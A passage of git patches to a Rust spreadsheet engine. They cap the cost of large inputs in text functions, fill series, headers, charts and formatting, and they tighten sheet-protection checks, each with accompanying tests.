is_text(ev("TEXTAFTER", vec![t("aaa"), t("aa"), n(1.0)]), "a"); } + /// Thousands of copies of one delimiter are tried once; delimiters that can't start where the + /// scan stands aren't compared; a search over a budget of comparisons is `#VALUE!`. + #[test] + fn delimiter_matching_stays_bounded() { + let text = "ab,".repeat(10_000); + let same: Vec<&str> = vec![","; 50_000]; + let v = ev("TEXTSPLIT", vec![t(&text), av(row_t(&same))]); + assert_eq!(rows_of(&v).first().map(Vec::len), Some(10_001)); + // Distinct long delimiters that start and end like every position: refused, not run. + let long: Vec = (0..5_000).map(|i| format!("a{i}{}", "a".repeat(1_000))).collect(); + let long: Vec<&str> = long.iter().map(String::as_str).collect(); + is_err(ev("TEXTSPLIT", vec![t(&"a".repeat(30_000)), av(row_t(&long))]), CellError::Value); + is_err(ev("TEXTBEFORE", vec![t(&"a".repeat(30_000)), av(row_t(&long)), n(-1.0)]), CellError::Value); + // Longest match wins at a position, from either end. + is_text(ev("TEXTBEFORE", vec![t("x--y-z"), av(row_t(&["-", "--"]))]), "x"); + is_text(ev("TEXTAFTER", vec![t("x--y-z"), av(row_t(&["-", "--"])), n(-1.0)]), "z"); + } + #[test] fn split() { let v = ev("TEXTSPLIT", vec![t("a,b;c,d"), t(","), t(";")]); From 4421bc679002ee8b2a74705c44d4485ee189682f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:54:17 -0500 Subject: [PATCH 142/167] engine: weekday fill series moves by whole weeks (#3272) edit.fillSeries with dateUnit "weekday" stepped one calendar day at a time, so a large step cost work proportional to its size for every cell. It now uses add_weekdays, which moves whole weeks arithmetically. --- crates/engine/src/fill.rs | 17 +++-------------- crates/engine/src/tests.rs | 18 ++++++++++++++++++ 2 files changed, 21 insertions(+), 14 deletions(-) diff --git a/crates/engine/src/fill.rs b/crates/engine/src/fill.rs index c63d7c983..efa09310a 100644 --- a/crates/engine/src/fill.rs +++ b/crates/engine/src/fill.rs @@ -575,20 +575,9 @@ pub fn series(cx: &mut Ctx, sheet: usize, options: SeriesOptions<'_>) -> Result< match (unit, d) { ("month", Some(_)) => (step as i64).checked_mul(i as i64).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v), ("year", Some(_)) => (step as i64).checked_mul(i as i64 * 12).and_then(|m| add_months_clamped(sys, start, m)).unwrap_or(v), - ("weekday", Some(_)) => { - let mut n = v; - let mut left = step.abs() as i64; - while left > 0 { - n += step.signum(); - let Some(day) = datetime_from_serial(sys, n) else { - return Err(crate::EngineError::Other("The weekday series runs past the supported date range.".into())); - }; - if day.weekday != 0 && day.weekday != 6 { - left -= 1; - } - } - n - } + // Whole weeks at a time: a huge step costs no more than a small one. + ("weekday", Some(_)) => add_weekdays(sys, v, step as i64) + .ok_or_else(|| crate::EngineError::Other("The weekday series runs past the supported date range.".into()))?, _ => v + step, } } diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index fe42b6977..dd7488f19 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3975,6 +3975,24 @@ fn fill_series_weekday_out_of_range_step_errors() { assert_eq!(v(&s, "A2"), Value::Empty); } +/// A step of a million weekdays moves whole weeks at a time instead of visiting every day, and +/// lands where counting day by day would. +#[test] +fn fill_series_weekday_large_step_is_arithmetic() { + let mut s = s(); + // 45005 is Monday 20 March 2023; five weekdays on from a Monday is the next Monday. + s.execute("cell.set", json!({"cell": "A1", "input": "45005"})).unwrap(); + s.execute("edit.fillSeries", json!({"range": "A1:A3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": 1_000_000})) + .unwrap(); + assert_eq!(v(&s, "A2"), Value::Number(45005.0 + 1_400_000.0)); + assert_eq!(v(&s, "A3"), Value::Number(45005.0 + 2_800_000.0)); + s.execute("cell.set", json!({"cell": "B1", "input": "45009"})).unwrap(); + s.execute("edit.fillSeries", json!({"range": "B1:B3", "direction": "columns", "type": "date", "dateUnit": "weekday", "step": -1})).unwrap(); + // Friday 24 March 2023 back one weekday at a time: Thursday, Wednesday. + assert_eq!(v(&s, "B2"), Value::Number(45008.0)); + assert_eq!(v(&s, "B3"), Value::Number(45007.0)); +} + #[test] fn fill_series_month_leap_year() { let s = series_date("2028-01-31", "A1:A3", "month"); From bebe7de877ac8a816072899c333e01ee66a8d4a6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:55:07 -0500 Subject: [PATCH 143/167] engine: cap header and footer sections at 64 KiB when fields expand (#3284) The 10,000-character header spec was bounded, but each &A, &F or &Z added the whole sheet name or path again, and a JSON workbook's sheet name has no length limit. A field that would take a section past 64 KiB is now left out. --- crates/engine/src/cmd/print/header_footer.rs | 25 ++++++++++++++------ crates/engine/src/cmd/print/tests.rs | 6 +++++ 2 files changed, 24 insertions(+), 7 deletions(-) diff --git a/crates/engine/src/cmd/print/header_footer.rs b/crates/engine/src/cmd/print/header_footer.rs index 0f973d7fb..2dede3a2c 100644 --- a/crates/engine/src/cmd/print/header_footer.rs +++ b/crates/engine/src/cmd/print/header_footer.rs @@ -153,6 +153,17 @@ pub struct HfSection { pub size: Option, } +/// Most bytes one section's expanded text may hold. A code like `&A` adds the whole sheet name +/// (or file path) each time it appears, and a JSON workbook's names have no length limit. +const MAX_SECTION_BYTES: usize = 64 * 1024; + +/// Appends `s` unless the section would pass [`MAX_SECTION_BYTES`]; what doesn't fit is left out. +fn push_field(text: &mut String, s: &str) { + if text.len().saturating_add(s.len()) <= MAX_SECTION_BYTES { + text.push_str(s); + } +} + /// Expands a header/footer string into its left, centre and right sections. pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] { let mut out: [HfSection; 3] = Default::default(); @@ -187,14 +198,14 @@ pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] { i += 1 + digits.len(); } } - sec.text.push_str(&n.to_string()); + push_field(&mut sec.text, &n.to_string()); } - 'N' | 'n' => sec.text.push_str(&cx.pages.to_string()), - 'D' | 'd' => sec.text.push_str(&cx.date), - 'T' | 't' => sec.text.push_str(&cx.time), - 'A' | 'a' => sec.text.push_str(&cx.sheet), - 'F' | 'f' => sec.text.push_str(&cx.file), - 'Z' | 'z' => sec.text.push_str(&cx.path), + 'N' | 'n' => push_field(&mut sec.text, &cx.pages.to_string()), + 'D' | 'd' => push_field(&mut sec.text, &cx.date), + 'T' | 't' => push_field(&mut sec.text, &cx.time), + 'A' | 'a' => push_field(&mut sec.text, &cx.sheet), + 'F' | 'f' => push_field(&mut sec.text, &cx.file), + 'Z' | 'z' => push_field(&mut sec.text, &cx.path), '&' => sec.text.push('&'), 'B' | 'b' => sec.bold = !sec.bold, 'I' | 'i' => sec.italic = !sec.italic, diff --git a/crates/engine/src/cmd/print/tests.rs b/crates/engine/src/cmd/print/tests.rs index 26fca1937..323060470 100644 --- a/crates/engine/src/cmd/print/tests.rs +++ b/crates/engine/src/cmd/print/tests.rs @@ -414,6 +414,12 @@ fn pdf_contains_text_and_header_codes_expand() { assert_eq!(r.text, "P4/9 9:00 AM"); assert_eq!(expand_header_footer("plain", &cx)[1].text, "plain"); assert_eq!(expand_header_footer("&", &cx)[1].text, ""); + // A megabyte sheet name repeated by 5,000 `&A` codes stops at the section's 64 KiB. + let long = HfContext { sheet: "S".repeat(1024 * 1024), ..cx }; + let [_, c, _] = expand_header_footer(&"&A".repeat(5_000), &long); + assert!(c.text.is_empty(), "the name alone is over the limit"); + let short = HfContext { sheet: "S".repeat(1000), ..Default::default() }; + assert_eq!(expand_header_footer(&"&A".repeat(5_000), &short)[1].text.len(), 65_000); } #[test] From cdd3a59dbc868cd4f8d3d3688fe21a485034482f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:55:35 -0500 Subject: [PATCH 144/167] Treemap rows keep running aggregates; General-fit width is clamped (#3290) --- crates/chart/src/render/kinds.rs | 17 +++++++++-------- crates/numfmt/src/decimal.rs | 5 +++++ 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/crates/chart/src/render/kinds.rs b/crates/chart/src/render/kinds.rs index 54ce6bec8..10286107b 100644 --- a/crates/chart/src/render/kinds.rs +++ b/crates/chart/src/render/kinds.rs @@ -203,12 +203,11 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne // ---------------------------------------------------------------- treemap -fn worst(row: &[f64], side: f64) -> f64 { - let s: f64 = row.iter().sum(); +/// Worst aspect ratio of a row with the given sum, smallest and largest area. +fn worst(s: f64, mn: f64, mx: f64, side: f64) -> f64 { if s <= 0.0 || side <= 0.0 { return f64::INFINITY; } - let (mn, mx) = row.iter().fold((f64::INFINITY, 0.0f64), |(a, b), v| (a.min(*v), b.max(*v))); let s2 = s * s; let w2 = side * side; (w2 * mx / s2).max(s2 / (w2 * mn)) @@ -225,6 +224,8 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> { let mut out = Vec::with_capacity(items.len()); let mut rem = r; let mut row: Vec<(usize, f64)> = Vec::new(); + // The row's sum, smallest and largest area, kept as items join so each step is O(1). + let (mut sum, mut mn, mut mx) = (0.0f64, f64::INFINITY, 0.0f64); let mut i = 0; let layout = |row: &[(usize, f64)], rem: &mut Bx, out: &mut Vec<(usize, Bx)>| { let s: f64 = row.iter().map(|x| x.1).sum(); @@ -256,15 +257,14 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> { while let Some(&(j, v)) = items.get(i) { let a = v * scale; let side = rem.w.min(rem.h) as f64; - let cur: Vec = row.iter().map(|x| x.1).collect(); - let mut with = cur.clone(); - with.push(a); - if row.is_empty() || worst(&with, side) <= worst(&cur, side) { + if row.is_empty() || worst(sum + a, mn.min(a), mx.max(a), side) <= worst(sum, mn, mx, side) { row.push((j, a)); + (sum, mn, mx) = (sum + a, mn.min(a), mx.max(a)); i += 1; } else { layout(&row, &mut rem, &mut out); row.clear(); + (sum, mn, mx) = (0.0, f64::INFINITY, 0.0); } } if !row.is_empty() { @@ -279,6 +279,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) s.values.iter().take(MAX_MARKERS).enumerate().filter_map(|(j, v)| v.filter(|v| *v > 0.0).map(|v| (j, v))).collect(); items.sort_by(|a, b| b.1.total_cmp(&a.1)); let f = Fmt::new(&s.number_format); + let value_of: std::collections::HashMap = items.iter().copied().collect(); for (j, b) in squarify(&items, area) { let fill = point_color(data, j); ctx.rect(b.x, b.y, b.w, b.h, fill, Some((WHITE, 1.5))); @@ -286,7 +287,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) let name = ctx.fit(&cat_label(data, j), LABEL_SIZE, b.w - 8.0); ctx.text(b.x + 4.0, b.y + 4.0, &name, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top)); if chart.data_labels && b.h > LABEL_SIZE * 3.2 { - let v = items.iter().find(|x| x.0 == j).map(|x| x.1).unwrap_or(0.0); + let v = value_of.get(&j).copied().unwrap_or(0.0); let t = ctx.fit(&f.format(v, None), LABEL_SIZE, b.w - 8.0); ctx.text(b.x + 4.0, b.y + 4.0 + LABEL_SIZE * 1.4, &t, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top)); } diff --git a/crates/numfmt/src/decimal.rs b/crates/numfmt/src/decimal.rs index 67071d4e0..b6c831f71 100644 --- a/crates/numfmt/src/decimal.rs +++ b/crates/numfmt/src/decimal.rs @@ -136,6 +136,9 @@ pub(crate) fn fixed(a: f64, decimals: usize) -> (String, String) { /// General format squeezed into `max_chars` characters. Excel shows fewer decimals, then /// scientific notation, then "####" when a column is narrow; `None` means the caller paints "####". pub fn format_general_fit(n: f64, max_chars: usize) -> Option { + // The widest fixed rendering of a double is about 330 characters; a larger request only + // pads zero decimals the trim below throws away. + let max_chars = max_chars.min(1024); if !n.is_finite() { return None; } @@ -214,6 +217,8 @@ mod tests { fn general_fit() { assert_eq!(format_general_fit(1e11, 11).as_deref(), Some("1E+11")); assert_eq!(format_general_fit(12345678901.0, 11).as_deref(), Some("12345678901")); + // A huge width neither allocates width-sized padding nor changes the text. + assert_eq!(format_general_fit(1.5, usize::MAX).as_deref(), Some("1.5")); assert_eq!(format_general_fit(123456789012.0, 11).as_deref(), Some("1.23457E+11")); assert_eq!(format_general_fit(0.1 + 0.2, 11).as_deref(), Some("0.3")); assert_eq!(format_general_fit(1.0 / 3.0, 11).as_deref(), Some("0.333333333")); From 22c5dfe0df2cea2e2fceb1189c75fcfa77f2b587 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:56:06 -0500 Subject: [PATCH 145/167] engine: protected sheets gate filter reapply, outline, line sizes and floating pictures; pivot destination resolved before the structure check; user-limited edit ranges stay locked (#3296) --- crates/engine/src/cmd.rs | 8 +++- crates/engine/src/cmd/data/filter.rs | 2 + crates/engine/src/cmd/data/grouping.rs | 17 ++++++++ crates/engine/src/cmd/format/sizes.rs | 11 +++++ crates/engine/src/cmd/insert.rs | 4 ++ crates/engine/src/cmd/pivot/create.rs | 7 +-- crates/engine/src/tests.rs | 59 ++++++++++++++++++++++++++ 7 files changed, 103 insertions(+), 5 deletions(-) diff --git a/crates/engine/src/cmd.rs b/crates/engine/src/cmd.rs index 1148a6b6e..02f6dabca 100644 --- a/crates/engine/src/cmd.rs +++ b/crates/engine/src/cmd.rs @@ -503,10 +503,14 @@ pub(crate) fn refuse_unless_allowed(s: &Session, sheet: usize, what: &str, pick: pub(crate) fn locked_cell_error(sh: &gridcraft_model::Sheet, c: CellRef, unlocked: &[(String, String)]) -> Option { let mut needs_password = None; for r in sh.edit_ranges.iter().filter(|r| r.contains(c)) { - if r.password.is_none() || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) { + // A range limited to Windows users or groups (a security descriptor) can't be checked + // here, so without a password it stays locked rather than opening to every editor. + if (r.password.is_none() && r.security_descriptor.is_none()) || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) { return None; } - needs_password.get_or_insert(r.title.as_str()); + if r.password.is_some() { + needs_password.get_or_insert(r.title.as_str()); + } } Some(match needs_password { Some(t) => format!("The range \"{t}\" needs its password before it can be changed (Review › Allow Edit Ranges)."), diff --git a/crates/engine/src/cmd/data/filter.rs b/crates/engine/src/cmd/data/filter.rs index 1b52e4537..437bd7887 100644 --- a/crates/engine/src/cmd/data/filter.rs +++ b/crates/engine/src/cmd/data/filter.rs @@ -270,6 +270,7 @@ pub(crate) fn apply_filter(wb: &mut Workbook, sheet: usize) { pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result { let sheet = s.doc()?.wb.active_sheet(); + crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?; edit(s, |cx| { let sh = cx.sheet_mut(sheet)?; if let Some(a) = sh.autofilter.as_mut() { @@ -283,6 +284,7 @@ pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result { pub(super) fn reapply(s: &mut Session, _: &Json) -> Result { let sheet = s.doc()?.wb.active_sheet(); + crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?; edit(s, |cx| { apply_filter(&mut cx.wb, sheet); cx.structural = true; diff --git a/crates/engine/src/cmd/data/grouping.rs b/crates/engine/src/cmd/data/grouping.rs index d2e183ae1..03761b454 100644 --- a/crates/engine/src/cmd/data/grouping.rs +++ b/crates/engine/src/cmd/data/grouping.rs @@ -21,6 +21,15 @@ fn outline_lines(s: &Session, p: &Json) -> Result<(bool, u32, u32)> { } } +/// Outline commands change line visibility and grouping: a protected sheet must allow formatting that axis. +fn refuse_unless_outline_allowed(s: &Session, sheet: usize, rows: bool) -> Result<()> { + if rows { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows) + } else { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns) + } +} + pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { let si = target_sheet(s, p)?; // The selection belongs to the active sheet, so another sheet needs its lines. @@ -28,6 +37,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { return Err(bad(if on { "data.group" } else { "data.ungroup" }, "missing `rows` or `cols`: the selection is on the active sheet")); } let (rows, a, b) = outline_lines(s, p)?; + refuse_unless_outline_allowed(s, si, rows)?; edit(s, |cx| { let sh = cx.sheet_mut(si)?; let before = outline::summary_before(sh, rows); @@ -58,6 +68,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { /// + button, saved to XLSX); showing keeps inner groups that were collapsed on their own collapsed. pub(super) fn detail(s: &mut Session, p: &Json, hide: bool) -> Result { let (rows, a, b) = outline_lines(s, p)?; + refuse_unless_outline_allowed(s, s.doc()?.wb.active_sheet(), rows)?; let want = p.get("level").and_then(Json::as_u64).map(|l| l.min(outline::MAX_LEVEL as u64) as u8); edit(s, |cx| { let si = cx.sheet_index(); @@ -123,6 +134,12 @@ pub(super) fn show_levels(s: &mut Session, p: &Json) -> Result { msg: "give `rows` or `cols`: the outline level to show (1 = top-level summaries only)".into(), }); } + let active = s.doc()?.wb.active_sheet(); + for (n, is_rows) in [(rows, true), (cols, false)] { + if n.is_some() { + refuse_unless_outline_allowed(s, active, is_rows)?; + } + } edit(s, |cx| { let si = cx.sheet_index(); let sh = cx.sheet_mut(si)?; diff --git a/crates/engine/src/cmd/format/sizes.rs b/crates/engine/src/cmd/format/sizes.rs index 3335d6100..c79327678 100644 --- a/crates/engine/src/cmd/format/sizes.rs +++ b/crates/engine/src/cmd/format/sizes.rs @@ -9,6 +9,17 @@ use super::{ /// sheet is `sheet`, else the prefix, else the active one. The selection belongs to the active /// sheet, so another sheet needs explicit lines. fn line_targets(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> { + let (sheet, lines) = resolve_lines(s, p, rows)?; + // Sizes and visibility are formatting of the line, which a protected sheet must allow. + if rows { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)?; + } else { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)?; + } + Ok((sheet, lines)) +} + +fn resolve_lines(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> { let key = if rows { "rows" } else { "cols" }; let mut sheet = target_sheet(s, p)?; if let Some(t) = str_param(p, key) { diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index b713061c2..56e066383 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1100,6 +1100,10 @@ fn insert_picture(s: &mut Session, p: &Json) -> Result { .unwrap_or_else(|| if data.starts_with(&[0x89, b'P', b'N', b'G']) { "image/png".into() } else { "image/jpeg".into() }); let (w, h) = crate::io::image_size(&data).unwrap_or((320, 240)); let d = s.doc()?; + // Sheet protection locks drawing objects, as for a text box's text. + if d.wb.active().is_some_and(|sh| sh.is_protected()) { + return Err(EngineError::Other(PROTECTED.into())); + } let id = d.wb.next_object_id(); let at = cell_param(s, p, "at")?.unwrap_or(d.selection.active); let scale = (640.0 / w.max(1) as f32).min(1.0); diff --git a/crates/engine/src/cmd/pivot/create.rs b/crates/engine/src/cmd/pivot/create.rs index ce5f97257..0cec82b54 100644 --- a/crates/engine/src/cmd/pivot/create.rs +++ b/crates/engine/src/cmd/pivot/create.rs @@ -67,9 +67,6 @@ fn field_list(v: Option<&Json>) -> Vec { } pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result { - if s.doc()?.wb.protected_structure && matches!(str_param(p, "destination"), None | Some("new")) { - return Err(other("The workbook is protected and cannot be changed.")); - } let source = source_param(s, p)?; let active = s.doc()?.wb.active_sheet(); // Validate the source now (header names, size). @@ -98,6 +95,10 @@ pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result { let at = RangeRef::parse(body).map(|r| r.start).ok_or_else(|| bad("insert.pivotTable", format!("not a cell: `{dest}`")))?; Some((si, at)) }; + // Decided on the resolved destination: `New`, ` new ` and an empty one all make a sheet. + if target.is_none() && s.doc()?.wb.protected_structure { + return Err(other("The workbook is protected and cannot be changed.")); + } let replace = bool_param(p, "replace").unwrap_or(false); let rows = field_list(p.get("rows")); let columns = field_list(p.get("columns")); diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index dd7488f19..75e5eac96 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5590,3 +5590,62 @@ fn clearing_links_and_notes_keeps_allow_edit_ranges() { let sh = s.doc().unwrap().wb.active().unwrap().clone(); assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty()); } + +#[test] +fn protected_sheet_refuses_layout_commands_its_permissions_do_not_allow() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [["h"], [1], [2]]})).unwrap(); + s.execute("data.filter", json!({"range": "A1:A3"})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + for (id, params) in [ + ("home.rowHeight", json!({"rows": "1:1", "height": 40})), + ("home.columnWidth", json!({"cols": "A:A", "width": 80})), + ("data.group", json!({"rows": "2:3"})), + ("data.showLevels", json!({"rows": 1})), + ("data.clearFilter", json!({})), + ("data.reapply", json!({})), + ("insert.picture", json!({"base64": "iVBORw0KGgo="})), + ] { + let err = s.execute(id, params).expect_err(id).to_string(); + assert!(err.contains("protected"), "{id}: {err}"); + } + // With the permissions ticked the same layout commands run. + s.execute("review.unprotectSheet", json!({})).unwrap(); + s.execute("review.protectSheet", json!({"formatRows": true, "formatColumns": true, "autofilter": true})).unwrap(); + for (id, params) in [ + ("home.rowHeight", json!({"rows": "1:1", "height": 40})), + ("home.columnWidth", json!({"cols": "A:A", "width": 80})), + ("data.reapply", json!({})), + ] { + s.execute(id, params).unwrap_or_else(|e| panic!("{id}: {e}")); + } +} + +#[test] +fn an_edit_range_limited_to_windows_users_stays_locked() { + use gridcraft_model::EditRange; + let mut s = s(); + let a1 = CellRef::parse("A1").unwrap(); + let range = |sd: Option<&str>| EditRange { + title: "T".into(), + ranges: vec![gridcraft_core::RangeRef::cell(a1)], + password: None, + security_descriptor: sd.map(str::to_string), + }; + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + sh.edit_ranges.push(range(None)); + assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_none(), "an open range"); + sh.edit_ranges = vec![range(Some("D:(A;;GA;;;WD)"))]; + assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_some(), "a user-limited range"); +} + +#[test] +fn pivot_new_sheet_destination_respects_workbook_structure_protection() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Sales"], ["N", 1], ["S", 2]]})).unwrap(); + s.execute("review.protectWorkbook", json!({"on": true})).unwrap(); + for dest in ["new", "NEW", " new ", ""] { + assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "destination": dest})).is_err(), "destination {dest:?}"); + } + assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "location": "New"})).is_err()); +} From f77ed98cdb47c39b592c6bbd2bb7d05a8585fc3f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:56:56 -0500 Subject: [PATCH 146/167] chart: a series without values takes no category-span entries (#3300) --- crates/chart/src/render/cartesian.rs | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/crates/chart/src/render/cartesian.rs b/crates/chart/src/render/cartesian.rs index 05105dbf4..7fae90a9f 100644 --- a/crates/chart/src/render/cartesian.rs +++ b/crates/chart/src/render/cartesian.rs @@ -96,8 +96,11 @@ fn series_spans(data: &ChartData, fams: &[Fam], sec: &[bool], ncat: usize) -> Ve } else { None }; - let mut row = Vec::with_capacity(ncat); - for j in 0..ncat { + // A series without values has no spans: 255 empty series over 20,000 categories would + // otherwise fill ~5 million entries. + let n = if s.values.is_empty() { 0 } else { ncat }; + let mut row = Vec::with_capacity(n); + for j in 0..n { let v = s.values.get(j).copied().flatten(); let span = match (si.and_then(|p| stacks.get_mut(p)), fam) { (Some((_, pos, neg)), Fam::ColStack | Fam::Col100) => v.and_then(|v| { @@ -450,3 +453,18 @@ pub(super) fn scatter(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) } draw_trend_labels(ctx, plot, &trend_labels); } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn empty_series_get_no_span_entries() { + let empty = SeriesData::default(); + let full = SeriesData { values: vec![Some(1.0); 3], ..SeriesData::default() }; + let data = ChartData { series: vec![empty.clone(), full, empty], ..ChartData::default() }; + let fams = [Fam::Col; 3]; + let spans = series_spans(&data, &fams, &[false; 3], MAX_CATS); + assert_eq!(spans.iter().map(Vec::len).collect::>(), [0, MAX_CATS, 0]); + } +} From e5f6fa81974df8baa54a8345fa5daed5e419256a Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:57:23 -0500 Subject: [PATCH 147/167] ui-egui: reference colours through a map; cap fill-character repeats per cell (#3311) --- crates/ui-egui/src/editor.rs | 11 +++-------- crates/ui-egui/src/grid/quadrant.rs | 6 +++++- 2 files changed, 8 insertions(+), 9 deletions(-) diff --git a/crates/ui-egui/src/editor.rs b/crates/ui-egui/src/editor.rs index d3cab75ea..71fd2a170 100644 --- a/crates/ui-egui/src/editor.rs +++ b/crates/ui-egui/src/editor.rs @@ -375,7 +375,7 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option, let offset = text.len() - body.len(); let Ok(toks) = gridcraft_engine::formula::lexer::tokenize(body) else { return vec![] }; let mut out: Vec<(usize, usize, RangeRef, Option, usize)> = Vec::new(); - let mut seen: Vec = Vec::new(); + let mut seen: std::collections::HashMap = std::collections::HashMap::new(); let mut i = 0; while i < toks.len() { use gridcraft_engine::formula::lexer::Tok; @@ -407,13 +407,8 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option, continue; }; let key = body.get(start..end).unwrap_or("").replace('$', "").to_ascii_uppercase(); - let idx = match seen.iter().position(|k| *k == key) { - Some(k) => k, - None => { - seen.push(key); - seen.len() - 1 - } - }; + let next = seen.len(); + let idx = *seen.entry(key).or_insert(next); out.push((start + offset, end + offset, range, sheet, idx % REF_COLOR_COUNT)); continue; } diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 0469c345f..7461c2204 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -278,6 +278,9 @@ fn paint_cell_decorations(q: &QuadrantPaint<'_>, c: CellRef, rect: Rect, lk: &Lo false } +/// Most repeats of a fill character laid out in one cell. +const MAX_FILL_REPEATS: usize = 8192; + fn paint_data_bar(p: &egui::Painter, rect: Rect, frac: f32, rgb: [u8; 3], gradient: bool) { let bar = Rect::from_min_size(pos2(rect.left() + 2.0, rect.top() + 2.0), vec2((rect.width() - 4.0) * frac, rect.height() - 4.0)); let col = theme::color32(rgb); @@ -432,7 +435,8 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option Date: Tue, 3 Nov 2026 22:57:52 -0500 Subject: [PATCH 148/167] formula, calc: LET/LAMBDA names looked up through a map; ragged array literals refused before reserving (#3312) --- crates/calc/src/eval.rs | 5 ++++ crates/formula/src/input.rs | 48 ++++++++++++++++++++++++++++++++----- 2 files changed, 47 insertions(+), 6 deletions(-) diff --git a/crates/calc/src/eval.rs b/crates/calc/src/eval.rs index 7a957f3a4..7f10354da 100644 --- a/crates/calc/src/eval.rs +++ b/crates/calc/src/eval.rs @@ -325,6 +325,11 @@ impl<'h> Evaluator<'h> { Expr::Array(rows) => { let h = rows.len(); let w = rows.first().map_or(0, Vec::len); + // A ragged literal is an error either way; one wide row and many empty ones must + // not reserve their rows-times-width product first. + if rows.iter().any(|row| row.len() != w) { + return err(CellError::Value); + } let mut data = Vec::with_capacity(h * w); for row in rows { for el in row { diff --git a/crates/formula/src/input.rs b/crates/formula/src/input.rs index 1c8929739..6d95587a7 100644 --- a/crates/formula/src/input.rs +++ b/crates/formula/src/input.rs @@ -61,7 +61,7 @@ impl FormulaLocale { pub fn parse_input(src: &str, locale: FormulaLocale, known_name: impl Fn(&str) -> bool) -> Result { let mut expr = parser::parse_syntax(src, locale)?; if locale == FormulaLocale::Es { - normalize(&mut expr, &known_name, &mut Vec::new(), 0, false)?; + normalize(&mut expr, &known_name, &mut Bindings::default(), 0, false)?; } Ok(expr) } @@ -96,7 +96,7 @@ pub fn print_input(expr: &Expr, locale: FormulaLocale, known_name: impl Fn(&str) return Ok(crate::print(expr)); } let mut expr = expr.clone(); - normalize(&mut expr, &known_name, &mut Vec::new(), 0, true)?; + normalize(&mut expr, &known_name, &mut Bindings::default(), 0, true)?; let canonical = crate::print(&expr); let tokens = crate::lexer::tokenize(&canonical).map_err(|e| ParseError { msg: e.msg, pos: e.pos })?; let mut out = String::new(); @@ -131,11 +131,47 @@ pub(crate) fn boolean_alias(name: &str) -> Option { } } -fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Vec, depth: usize, display: bool) -> Result<(), ParseError> { +/// The LET/LAMBDA names in scope, with how many times each is bound, so a lookup is one probe +/// instead of a scan of every binding for each call. +#[derive(Default)] +struct Bindings { + stack: Vec, + counts: std::collections::HashMap, +} + +impl Bindings { + fn len(&self) -> usize { + self.stack.len() + } + + fn push(&mut self, name: &str) { + let key = crate::fold_name(name); + 